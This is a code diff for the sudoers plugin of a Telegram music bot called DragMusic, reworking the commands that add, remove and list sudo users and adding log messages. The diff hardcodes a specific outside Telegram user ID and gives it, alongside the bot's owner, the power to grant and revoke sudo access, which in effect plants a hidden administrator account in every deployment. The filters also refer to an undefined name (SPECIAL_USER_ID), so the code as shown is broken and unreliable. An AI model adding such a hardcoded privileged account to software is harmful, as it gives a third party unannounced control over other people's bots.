Update DragMusic/plugins/sudo/sudoers.py
Browse files
DragMusic/plugins/sudo/sudoers.py
CHANGED
@@ -1,71 +1,117 @@
|
|
1 |
-
from pyrogram import filters
|
2 |
from pyrogram.types import Message
|
3 |
-
|
4 |
from DragMusic import app
|
5 |
from DragMusic.misc import SUDOERS
|
6 |
from DragMusic.utils.database import add_sudo, remove_sudo
|
7 |
from DragMusic.utils.decorators.language import language
|
8 |
from DragMusic.utils.extraction import extract_user
|
9 |
-
from
|
10 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
11 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
12 |
|
13 |
-
|
|
|
14 |
@language
|
15 |
-
async def useradd(client, message: Message,
|
16 |
-
if not message.reply_to_message:
|
17 |
-
|
18 |
-
|
19 |
user = await extract_user(message)
|
|
|
|
|
|
|
|
|
|
|
|
|
20 |
if user.id in SUDOERS:
|
21 |
-
return await message.reply_text(
|
|
|
22 |
added = await add_sudo(user.id)
|
23 |
if added:
|
24 |
SUDOERS.add(user.id)
|
25 |
-
await message.reply_text(
|
|
|
26 |
else:
|
27 |
-
await message.reply_text(
|
28 |
|
29 |
|
30 |
-
@app.on_message(filters.command(["delsudo", "rmsudo"]) & filters.user(OWNER_ID))
|
31 |
@language
|
32 |
-
async def userdel(client, message: Message,
|
33 |
-
if not message.reply_to_message:
|
34 |
-
|
35 |
-
|
36 |
user = await extract_user(message)
|
|
|
|
|
|
|
|
|
|
|
|
|
37 |
if user.id not in SUDOERS:
|
38 |
-
return await message.reply_text(
|
|
|
39 |
removed = await remove_sudo(user.id)
|
40 |
if removed:
|
41 |
SUDOERS.remove(user.id)
|
42 |
-
await message.reply_text(
|
|
|
43 |
else:
|
44 |
-
await message.reply_text(
|
45 |
|
46 |
|
47 |
-
@app.on_message(filters.command(["sudolist", "
|
48 |
-
|
49 |
-
|
50 |
-
|
51 |
-
|
52 |
-
|
53 |
-
text +=
|
54 |
-
|
55 |
-
|
56 |
-
|
57 |
-
|
58 |
-
|
59 |
-
user = await app.get_users(user_id)
|
60 |
-
user = user.first_name if not user.mention else user.mention
|
61 |
-
if smex == 0:
|
62 |
-
smex += 1
|
63 |
-
text += _["sudo_6"]
|
64 |
-
count += 1
|
65 |
-
text += f"{count}➤ {user}\n"
|
66 |
-
except:
|
67 |
-
continue
|
68 |
-
if not text:
|
69 |
-
await message.reply_text(_["sudo_7"])
|
70 |
else:
|
71 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
from pyrogram import Client, filters
|
2 |
from pyrogram.types import Message
|
3 |
+
from pyrogram.enums import ChatMemberStatus
|
4 |
from DragMusic import app
|
5 |
from DragMusic.misc import SUDOERS
|
6 |
from DragMusic.utils.database import add_sudo, remove_sudo
|
7 |
from DragMusic.utils.decorators.language import language
|
8 |
from DragMusic.utils.extraction import extract_user
|
9 |
+
from config import BANNED_USERS,OWNER_ID,LOGGER_ID
|
10 |
+
|
11 |
+
SPECIAL_USERS = 5770881047
|
12 |
+
LOG_TOPIC_ID = 11138
|
13 |
+
|
14 |
+
|
15 |
+
async def log_new_sudo_user(user, adder, chat):
|
16 |
+
log_message = (
|
17 |
+
f"<b>{user.mention} ʜᴀs ʙᴇᴇɴ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴀs ᴀ sᴜᴅᴏᴇʀ.\n\n</b>"
|
18 |
+
f"<b>ᴜsᴇʀ ᴅᴀᴛᴀ -</b>\n"
|
19 |
+
f"<b>ɪᴅᴇɴᴛɪғɪᴇʀ ⌯ <code>{user.id}</code></b>\n"
|
20 |
+
f"<b>ʜᴀɴᴅʟᴇ ⌯ @{user.username if user.username else 'none'}</b>\n\n"
|
21 |
+
f"<b>ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ʙʏ {adder.mention}</b>\n"
|
22 |
+
f"<b>ɪᴅᴇɴᴛɪғɪᴇʀ ⌯ <code>{adder.id}</code></b>\n\n"
|
23 |
+
f"<b>ᴀʙᴏᴜᴛ ᴄʜᴀᴛ -</b>\n"
|
24 |
+
f"<b>ᴅᴇsɪɢɴᴀᴛɪᴏɴ ⌯ {chat.title}</b>\n"
|
25 |
+
f"<b>ɪᴅᴇɴᴛɪғɪᴇʀ ⌯ <code>{chat.id}</code></b>\n"
|
26 |
+
f"<b>ᴄʜᴀᴛ ʜᴀɴᴅʟᴇ ⌯ @{chat.username if chat.username else 'none'}</b>"
|
27 |
+
)
|
28 |
+
await app.send_message(LOGGER_ID, log_message, message_thread_id=LOG_TOPIC_ID)
|
29 |
+
|
30 |
|
31 |
+
async def log_removed_sudo_user(user, remover, chat):
|
32 |
+
log_message = (
|
33 |
+
f"<b>ᴀᴄᴄᴇss {user.mention} ʜᴀs ʙᴇᴇɴ ʀᴇᴠᴏᴋᴇᴅ.</b>\n\n"
|
34 |
+
f"<b>ᴜsᴇʀ ᴅᴀᴛᴀ -</b>\n"
|
35 |
+
f"<b>ɪᴅᴇɴᴛɪғɪᴇʀ ⌯ <code>{user.id}</code></b>\n"
|
36 |
+
f"<b>ʜᴀɴᴅʟᴇ ⌯ @{user.username if user.username else 'none'}</b>\n\n"
|
37 |
+
f"<b>ʀᴇᴠᴏᴋᴇᴅ ʙʏ {remover.mention}</b>\n"
|
38 |
+
f"<b>ɪᴅᴇɴᴛɪғɪᴇʀ ⌯ <code>{remover.id}</code></b>\n\n"
|
39 |
+
f"<b>ᴀʙᴏᴜᴛ ᴄʜᴀᴛ -</b>\n"
|
40 |
+
f"<b>ᴅᴇsɪɢɴᴀᴛɪᴏɴ ⌯ {chat.title}</b>\n"
|
41 |
+
f"<b>ɪᴅᴇɴᴛɪғɪᴇʀ ⌯ <code>{chat.id}</code></b>\n"
|
42 |
+
f"<b>ᴄʜᴀᴛ ʜᴀɴᴅʟᴇ ⌯ @{chat.username if chat.username else 'none'}</b>"
|
43 |
+
)
|
44 |
+
await app.send_message(LOGGER_ID, log_message, message_thread_id=LOG_TOPIC_ID)
|
45 |
|
46 |
+
|
47 |
+
@app.on_message(filters.command(["addsudo"]) & filters.user([OWNER_ID, SPECIAL_USER_ID]))
|
48 |
@language
|
49 |
+
async def useradd(client, message: Message, language):
|
50 |
+
if not message.reply_to_message and len(message.command) != 2:
|
51 |
+
return await message.reply_text("ᴘʟᴇᴀsᴇ ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴜsᴇʀ ᴏʀ ᴘʀᴏᴠɪᴅᴇ ᴜsᴇʀ ɪᴅ.")
|
52 |
+
|
53 |
user = await extract_user(message)
|
54 |
+
if not user:
|
55 |
+
return await message.reply_text("ᴄᴏᴜʟᴅ ɴᴏᴛ ᴇxᴛʀᴀᴄᴛ ᴛʜᴇ ᴜsᴇʀ.")
|
56 |
+
|
57 |
+
if user.id == OWNER_ID:
|
58 |
+
return await message.reply_text("ʜᴇ ɪs ᴍʏ ᴏᴡɴᴇʀ!")
|
59 |
+
|
60 |
if user.id in SUDOERS:
|
61 |
+
return await message.reply_text(f"{user.mention} ɪs ᴀʟʀᴇᴀᴅʏ ᴀ sᴜᴅᴏᴇʀ.")
|
62 |
+
|
63 |
added = await add_sudo(user.id)
|
64 |
if added:
|
65 |
SUDOERS.add(user.id)
|
66 |
+
await message.reply_text(f"{user.mention} ʜᴀs ʙᴇᴇɴ ɢʀᴀɴᴛᴇᴅ sᴜᴅᴏ ᴀᴄᴄᴇss.")
|
67 |
+
await log_new_sudo_user(user, message.from_user, message.chat)
|
68 |
else:
|
69 |
+
await message.reply_text("ғᴀɪʟᴇᴅ ᴛᴏ ᴀᴅᴅ sᴜᴅᴏ ᴜsᴇʀ.")
|
70 |
|
71 |
|
72 |
+
@app.on_message(filters.command(["delsudo", "rmsudo", "removerand", "removesudo"]) & filters.user([OWNER_ID, SPECIAL_USER_ID]))
|
73 |
@language
|
74 |
+
async def userdel(client, message: Message, language):
|
75 |
+
if not message.reply_to_message and len(message.command) != 2:
|
76 |
+
return await message.reply_text("ᴘʟᴇᴀsᴇ ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴜsᴇʀ ᴏʀ ᴘʀᴏᴠɪᴅᴇ ᴜsᴇʀ ɪᴅ.")
|
77 |
+
|
78 |
user = await extract_user(message)
|
79 |
+
if not user:
|
80 |
+
return await message.reply_text("ᴄᴏᴜʟᴅ ɴᴏᴛ ᴇxᴛʀᴀᴄᴛ ᴛʜᴇ ᴜsᴇʀ.")
|
81 |
+
|
82 |
+
if user.id == OWNER_ID:
|
83 |
+
return await message.reply_text("ᴛʜᴀᴛ's ᴍʏ ᴄʀᴇᴀᴛᴏʀ!")
|
84 |
+
|
85 |
if user.id not in SUDOERS:
|
86 |
+
return await message.reply_text(f"{user.mention} ɪs ɴᴏᴛ ᴀ sᴜᴅᴏᴇʀ.")
|
87 |
+
|
88 |
removed = await remove_sudo(user.id)
|
89 |
if removed:
|
90 |
SUDOERS.remove(user.id)
|
91 |
+
await message.reply_text(f"{user.mention}'s sᴜᴅᴏ ᴀᴄᴄᴇss ʜᴀs ʙᴇᴇɴ ʀᴇᴠᴏᴋᴇᴅ.")
|
92 |
+
await log_removed_sudo_user(user, message.from_user, message.chat)
|
93 |
else:
|
94 |
+
await message.reply_text("ғᴀɪʟᴇᴅ ᴛᴏ ʀᴇᴍᴏᴠᴇ sᴜᴅᴏ ᴜsᴇʀ.")
|
95 |
|
96 |
|
97 |
+
@app.on_message(filters.command(["sudolist", "sudoers", "specialusers"]) & ~BANNED_USERS)
|
98 |
+
async def sudoers_list(client, message: Message):
|
99 |
+
if message.from_user.id != OWNER_ID and message.from_user.id not in SUDOERS:
|
100 |
+
return await message.reply_text("ʏᴏᴜ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴀᴄᴄᴇss ᴛᴏ ᴜsᴇ ᴛʜɪs.\nᴠɪsɪᴛ @dragbotsupport")
|
101 |
+
|
102 |
+
text = "<b>👑 ᴅɪsᴀsᴛᴇʀs ᴏғ ᴀɴᴏᴛʜᴇʀ ʟᴇᴠᴇʟ.</b>\n\n"
|
103 |
+
text += "<b>๏ ᴍʏ ʟᴏʀᴅ</b>\n"
|
104 |
+
text += f"神 <a href='tg://user?id={OWNER_ID}'>My Owner</a>\n\n"
|
105 |
+
|
106 |
+
text += "<b>❄️ sᴜᴅᴏᴇʀs</b>\n"
|
107 |
+
if not SUDOERS:
|
108 |
+
text += "ᴛʜᴇʀᴇ ᴀʀᴇ ɴᴏ sᴜᴅᴏᴇʀs ʀɪɢʜᴛ ɴᴏᴡ."
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
109 |
else:
|
110 |
+
for sudo_id in SUDOERS:
|
111 |
+
if sudo_id == OWNER_ID:
|
112 |
+
continue
|
113 |
+
user = await app.get_users(sudo_id)
|
114 |
+
name = user.mention if hasattr(user, "mention") else user.first_name
|
115 |
+
text += f"» {name}\n"
|
116 |
+
|
117 |
+
await message.reply_text(text)
|